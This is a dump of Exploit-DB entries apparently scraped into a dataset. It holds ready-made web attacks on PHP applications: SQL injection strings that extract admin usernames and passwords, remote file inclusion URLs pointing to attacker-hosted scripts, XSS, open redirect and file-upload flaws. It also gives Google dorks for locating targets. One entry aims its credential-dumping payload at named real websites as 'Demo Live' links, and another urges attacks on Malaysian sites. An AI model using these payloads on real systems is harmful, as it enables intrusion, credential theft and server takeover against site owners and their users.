deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16061
Description: PHP Link Directory Software - 'sbcat_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-28
Author: h4ck3r

Exploit:
==
[|]Author: BorN To K!LL - h4ck3r
[|]Contact: SQL@hotmail.co.uk
==
[|]Script: PHP link Directory software
[|]Version: n/a
[|]Link: http://www.softbizsolutions.com/php-link-directory-software.php
==
[|]3xploit:
[path]/showcats.php?sbcat_id=[SQL-Injection]
 
[|]3xample:
[path]/showcats.php?sbcat_id=-9999+union+all+select+1,concat(username,0x3a,password),3,4+from+sblnk_admin--

==
[|]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
==
Exploit-DB #12534
Description: PHP Link Manager 1.7 - URL Redirection
Type: webapps
Platform: php
Date: 2010-05-08
Author: ITSecTeam

Exploit:
PHP Link Manager Version 1.7 Url Redirection Bug
###########################################################
#Title: PHP link manager Version 1.7
#Vendor: http://www.phpjunkyard.com/php-link-manager.php
###########################################################
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability51.htm
#Thanks: Pejvak,M3hr@n$,r3dm0v3,am!rkh@n
##########################################################

# POC
###########################################################
www.site.com/path/go.php?url=Your Url
###########################################################
Exploit-DB #27812
Description: PHP Linkliste 1.0 - 'Linkliste.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-03
Author: d4igoro

Exploit:
source: https://www.securityfocus.com/bid/17828/info

PHP Linkliste is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.0; other versions may also be vulnerable.

http://www.example.com/links.php?new_input=[XSS]&new_url=[XSS]&new_name=[XSS]
Exploit-DB #5021
Description: PHP Links 1.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: Houssamix

Exploit:
-------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : Houssamix From H-T Team                          
= Script : PHP Links from DeltaScripts <= 1.3         
                     
        
= Download : http://softadmin.deltascripts.com/download.php
             (PHP Links v1.3 Released 13.09.2007 ) 			 
           
= BUG :  Remote SQL Injection Vulnerability  

= Dork : Powered by PHP Links from DeltaScripts              

= Exploit :                                                  
vote.php?id=-1%20union%20select%20concat(user_name,0x3a,user_pass),2,3,4,5,6%20from%20phplinks_users%20where%20user_id=1--

= Note : admin login http://Target/path/admin/           

-------------------------------------------------------------
= Greetz : CoNaN - Stack-Terrorist - Gold_M - Rachidox
-------------------------------------------------------------

# milw0rm.com [2008-01-30]
Exploit-DB #5022
Description: PHP Links 1.3 - 'smarty.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-30
Author: Houssamix

Exploit:
-------------------------------------------------------------
----- H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo --------
-------------------------------------------------------------

= Author : Houssamix From H-T Team                          
= Script : PHP Links from DeltaScripts <= 1.3         
                     
        
= Download : http://softadmin.deltascripts.com/download.php
             (PHP Links v1.3 Released 13.09.2007 ) 			 
           
= BUG :  Remote File Inclusion Vulnerability  

= Vulnerable Code : /includes/smarty.php   

require($full_path_to_public_program . "/admin/libs/Smarty.class.php"); <= Line 2

= Exploit :                                                  
http://target/phplinks/includes/smarty.php?full_path_to_public_program=Evil_script


-------------------------------------------------------------
= Greetz : CoNaN - Stack-Terrorist - Gold_M - Rachidox
-------------------------------------------------------------

# milw0rm.com [2008-01-30]
Exploit-DB #26113
Description: PHP Lite Calendar Express 2.2 - 'auth.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-08
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14504/info
 
Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/calendarexpress/auth.php?cid='
Exploit-DB #26112
Description: PHP Lite Calendar Express 2.2 - 'login.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-08
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14504/info

Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/calendarexpress/login.php?cid='
Exploit-DB #26114
Description: PHP Lite Calendar Express 2.2 - 'Subscribe.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-08
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14504/info
  
Calendar Express is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/calendarexpress/subscribe.php?cid='
Exploit-DB #28827
Description: PHP Live Helper 1.17 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-18
Author: Matdhule

Exploit:
source: https://www.securityfocus.com/bid/20603/info

PHP Live Helper is prone to multiple remote file-include vulnerabilities.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[p-book_path]/admin.php?pb_lang=http://www.example.com/inject.txt?
http://www.example.com/[p-book_path]/pbook.php?pb_lang=http://www.example.com/inject.txt?
Exploit-DB #1926
Description: PHP Live Helper 1.x - 'abs_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-18
Author: SnIpEr_SA

Exploit:
---------------------------------------------------------------------------
PHP Live Helper <=([abs_path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By SnIpEr_SA
Author : SnIpEr_SA
Remote : Yes
Local : No
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : PHP Live Helper
version : 1.5 and last version
URL :http://www.live-helper.com/

------------------------------------------------------------------
Exploit:
~~~~~~~~

# http://www.site.com/[livehelperpath]/initiate.php?abs_path=[evil_scripts]

---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

SnIpEr_SA
E-mail: selfar2002@hotmail.com
E-mail: SnIpEr.SA[at]hotMail[dot]com
Homepage: http://www.3asfh.net/ & http://www.lezr.com/
Greetz: All My Frind
/*

-------------------------------- [ END ] ----------------------------------

# milw0rm.com [2006-06-18]
Exploit-DB #2120
Description: PHP Live Helper 2.0 - 'abs_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Matdhule

Exploit:
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_43$2006

------------------------------------------------------------------------------
[ECHO_ADV_43$2006] PHP Live Helper <= 2.0 (abs_path) Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: July, 02nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv4333-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Live Helper

Application	: PHP Live Helper
version		: Latest version [2.0]
URL		: http://www.turnkeywebtools.com/phplivehelper

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

-----------------------global.php----------------------
....
<?PHP
/*
  global.php - 05/30/2006 - 5:27pm PST - 2.0
  
  PHP Live Helper
  http://www.turnkeywebtools.com/phplivehelper/
  
  Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
----------------------------------------------------------

Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $abs_path on global.php.

Notification:
~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson   :)  
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-08-07]
Exploit-DB #2060
Description: PHP Live! 3.2.1 - 'help.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-23
Author: magnific

Exploit:
     Advisory: PHPLive 3.2 Remote Injection Vulnerability
 Release Date: 2006/07/23
       Author: magnific
   Discovered: aneurysm.inc security reserach
         Risk: High
Vendor Status: not contacted | no patch available
  Vendor Site: www.osicodes.com
      Contact: aneurysm_inc[at]hotmail[dot]com
      Version: all

-----------
Overview:

Some variables are not properly sanitized before being used.
Here you will find the variables not properly sanitized:

-----------
Vulnerable code:

help.php /setup/header.php etc..

<? $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?>

-----------
Execution:

help.php?css_path=htt://attacker
setup/header.php?css_path=htt://attacker


-----------
Vendor:

At the moment, there are no solutions from the vendor. If you want to make
sure the code and your PHPLIVE you have to sanitize the variable $css_path,
in all files affecteds.
Active SAFE_MODE on server, for local security.

---------------------------
aneurysm.inc security reserach
irc.gigachat.net
#aneurysm.inc
---------------------------

# milw0rm.com [2006-07-23]
Exploit-DB #5125
Description: PHP Live! 3.2.2 - 'questid' SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-02-14
Author: Xar

Exploit:
[!]Info[!]

PHP Live! (Â© OSI Codes Inc.) enables live help and live customer support communication directly from your website. With PHP Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to your website.

[!]SQL Injection[!]

Code:
phplive//admin/traffic/knowledg
e_searchm.php?l=phplive&x=1&action=expand_question&questid=-1+union+all+select+1,2,3,4,5,6,concat(login,char(5,password),8+from+chat_admin--&deptid=2&catid=1&keyword=a

[!]Info[!]
+Hashes are regular md5 - easy to crack


Dork: "Find your own ;)"

Credits -

Found by Xar of h4ck-y0u

Greets to Don & ViSiOn

# milw0rm.com [2008-02-14]
Exploit-DB #9254
Description: PHP Live! 3.2.2 - 'questid' SQL Injection (2)
Type: webapps
Platform: php
Date: 2009-07-24
Author: skys

Exploit:
Original author: Found by Xar of h4ck-y0u, Greets to Don & ViSiOn
Modified version: skys
Contact: skysbsb[at]gmail.com


[!]Info[!]

PHP Live! (Â© OSI Codes Inc.) enables live help and live customer support
communication directly from your website. With PHP Live!, you can
provide one-on-one chat assistance in real-time, answer visitor
questions and add that extra human touch to your website.

[!]SQL Injection[!]
The original code was a little mistake, the right code:

Code:
Set the proper l(login) var in the parameter request.
In this example, l=admin

http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_asp%20limit%200,1

In the Answer field, you will see the login:password for the
http://www.site.com/path-to-phplive/setup/login.php

or, if you want to mess only just with the operators,

http://www.site.com/path-to-phplive/admin/traffic/knowledge_searchm.php?action=expand_question&l=admin&x=1&questid=-1/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat%28login,char%2858%29,password%29/**/from/**/chat_admin%20limit%200,1

# milw0rm.com [2009-07-24]
Exploit-DB #9578
Description: PHP Live! 3.3 - 'deptid' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-02
Author: v3n0m

Exploit:
*************************************************************************
,   .                                       |          |    o     |    
|   |,---.,---.,   .,---.,---.,---.,---.,---|,---.,---.|    .,---.|__/ 
`---'|   ||   ||   |,---||    ,---||    |   ||---'|    |    ||   ||  \ 
  |  `---'`---|`---|`---^`---'`---^`    `---'`---'`    `---'``   '`   `
  `       `---'`---'                                                   
*************************************************************************
[o] PHP Live! 3.3 (deptid) Remote SQL Injection

			--==[ Author ]==--
[+] Author	: v3n0m
[+] Contact	: v3n0m666[at]live[dot]com
[+] Blog	: http://0wnage.wordpress.com/
[+] Group	: YOGYACARDERLINK
[+] Site	: http://yogyacarderlink.web.id/
[+] Date	: September, 02-2009 [INDONESIA]
*************************************************************************
			--==[ Details ]==--
[+] Software	: PHP Live! Chat
[+] Version 	: v3.3
[+] Vendor 	: http://www.phplivesupport.com/
[+] Price	: $49.95
[+] Vulnerable	: Remote SQL Injection
[+] Google Dork	: "Powered by PHP Live! v3.3"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] -999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--

[-] Remote SQLi p0c:
[+] http://127.0.0.1/[path]/message_box.php?theme=&l=[username]&x=[xxx]&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--
    [xxx] = Valid x number

[-] Demo Live:
[+] http://www.edunet-help.com/message_box.php?theme=&l=sekolahmy&x=1&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--

[+] https://www.guestcentric.com/support/message_box.php?theme=&l=guestcentric_wb&x=1&deptid=-999999+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,group_concat(login,char(58),password)v3n0m,0,0+from+chat_admin--


FYI: Think twice before you buy these vulnerable script for $49.95 ?

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Special Thanks	=> str0ke & milw0rm
RedLine Crew	=> Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid
		=> Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew
YOGYACARDERLINK => lingah,LeQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee
		=> yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan
		=> & para gay yogyagaylink bruakakakakakakak
Others		=> g0par Santiago,Don Tukulesto,mixbrainwasher
		=> badkiddies,broken_hack,M364TR0N & ALL MOSLEM HACKERS
Big Thanks	=> mywisdom [nice 0-day, you're 31337]
		=> yadoy666 [Mari kita ganyang malingsianjink]
		=> Angela Zhang [kamu cantik,eksotis & mengerikan] (=^_^=)

* Fuck to Malaysia <= the truly thief asia
  be carefull your culture art & song,island get stolen and claimed by them
  letz we hack they sites & servers !! PROUD TO BE INDONESIAN !!
* 11:20pm in my bedroom, preparing office goes on...!!

# milw0rm.com [2009-09-02]
Exploit-DB #41198
Description: PHP Logo Designer Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-01-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP Logo Designer Script - Arbitrary File Upload
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: https://codecanyon.net/item/php-logo-designer/19362231
# Software Buy: https://codecanyon.net/item/php-logo-designer/19362231
# Demo: http://phplogodesigner.000webhostapp.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/designer.php
# http://localhost/[PATH]/theme/images/uploads/[......PHP]
# # # # #
# uploadImage.php
<?php
$output_dir = "./theme/images/uploads/";
.
.
.
$imagetemp = explode(".", $_FILES["imagefile"]["name"]);
		$newimagename = round(microtime(true)) . '.' . end($imagetemp);
		//move the uploaded file to uploads folder;
    	move_uploaded_file($_FILES["imagefile"]["tmp_name"],$output_dir. $newimagename);
    
   	 echo $output_dir . $newimagename;
	}

}
?>
# # # # #
Exploit-DB #16020
Description: PHP Lowbids - 'viewfaqs.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-01-20
Author: h4ck3r

Exploit:
==
[+]Script: PHP Lowbids
[+]Version: n/a
[+]Link: http://phplowbids.com
==
[+]Author: BorN To K!LL - h4ck3r
[+]Contact: SQL@hotmail.co.uk
==
[+]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[+]3xample:
/viewfaqs.php?cat=1 and substring(version(),1,1)=4               // true
/viewfaqs.php?cat=1 and substring(version(),1,1)=5               // false

==
[+]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
==
Exploit-DB #27959
Description: PHP ManualMaker 1.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-02
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18244/info

PHP ManualMaker is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

http://www.example.com/manualmaker/index.php?print=1&id=<iframe src=http://www.example.com/evilcode.html
Exploit-DB #41329
Description: PHP Marketplace Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-13
Author: Th3GundY

Exploit:
# Exploit Title :  PHP Marketplace Script - Multiple SQL Injection Vulnerabilities
# Author 		:  Yunus YILDIRIM (Th3GundY)
# Team 			:  CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website 		:  http://www.yunus.ninja
# Contact 		:  yunusyildirim@protonmail.com

# Vendor Homepage 	: http://www.ecommercemix.com/
# Software Link  	: http://ecommercemix.com/php-marketplace-script/
# Vuln. Version	  	: 3.0
# Demo				: http://pleasureriver.com


# # # #  DETAILS  # # # # 

SQL Injections :

# 1
http://localhost/shopby/all?q=gundy
	Parameter: q (GET)
	    Type: boolean-based blind
	    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
	    Payload: q=LIEQ") OR NOT 5305=5305#

	    Type: error-based
	    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
	    Payload: q=LIEQ") AND (SELECT 7200 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(7200=7200,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("SRxl"="SRxl

	    Type: AND/OR time-based blind
	    Title: MySQL >= 5.0.12 OR time-based blind (comment)
	    Payload: q=LIEQ") OR SLEEP(5)#

# 2
http://localhost/shopby/all?p=31
	Parameter: p (GET)
	    Type: boolean-based blind
	    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
	    Payload: p=31") OR NOT 6681=6681#

	    Type: error-based
	    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
	    Payload: p=31") AND (SELECT 4760 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(4760=4760,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("eFds"="eFds

	    Type: AND/OR time-based blind
	    Title: MySQL >= 5.0.12 AND time-based blind
	    Payload: p=31") AND SLEEP(5) AND ("kxQU"="kxQU

# 3
http://localhost/shopby/all?c=Turkey
	Parameter: c (GET)
	    Type: boolean-based blind
	    Title: AND boolean-based blind - WHERE or HAVING clause
	    Payload: c=Turkey' AND 9145=9145 AND 'tvKB'='tvKB

	    Type: error-based
	    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
	    Payload: c=Turkey' AND (SELECT 5928 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(5928=5928,1))),0x717a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'APFD'='APFD

	    Type: AND/OR time-based blind
	    Title: MySQL >= 5.0.12 AND time-based blind
	    Payload: c=Turkey' AND SLEEP(5) AND 'rmia'='rmia